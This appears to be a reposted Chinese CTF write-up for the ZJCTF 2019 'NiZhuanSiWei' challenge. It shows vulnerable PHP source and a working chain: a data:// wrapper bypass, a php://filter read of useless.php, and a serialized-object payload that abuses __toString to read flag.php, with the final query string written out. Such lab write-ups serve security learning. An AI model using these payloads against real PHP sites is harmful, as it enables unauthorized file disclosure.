[ZJCTF 2019]NiZhuanSiWei 1

知识点

文件包含与各种协议

反序列化

WP

首先进入环境,得到源码:

$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    
    
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
    
    
        echo "Not now!";
        exit();
    }else{
    
    
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    
    
    highlight_file(__FILE__);
}

我们一共要传三个参数,也就是有三个绕过点。
首先是text,要求file_get_contents的结果是welcome to the zjctf。考虑用php://input进行绕过,失败。再尝试data://text/plain,welcome to the zjctf,成功绕过。

接下来就是file的那个点。我们直接访问flag.php不能得到php的内容,因此需要利用文件包含。题目提示了useless.php,直接访问并没有内容,让file为useless.php同样不行。这里考虑利用php伪协议读取一下useless.php:

php://filter/read=convert.base64-encode/resource=useless.php

成功得到useless.php文件的内容:

<?php  

class Flag{
    
      //flag.php  
    public $file;  
    public function __tostring(){
    
      
        if(isset($this->file)){
    
      
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

__tostring当类被当成字符串的时候自动调用,考虑到存在echo $password,因此这题的反序列化利用点是这个。
直接构造:

class Flag
{
    
      //flag.php
    public $file='flag.php';
}
$a=new Flag;
echo urlencode(serialize($a));

然后传入:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

然后再f12看一下源码,成功得到flag。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/109248423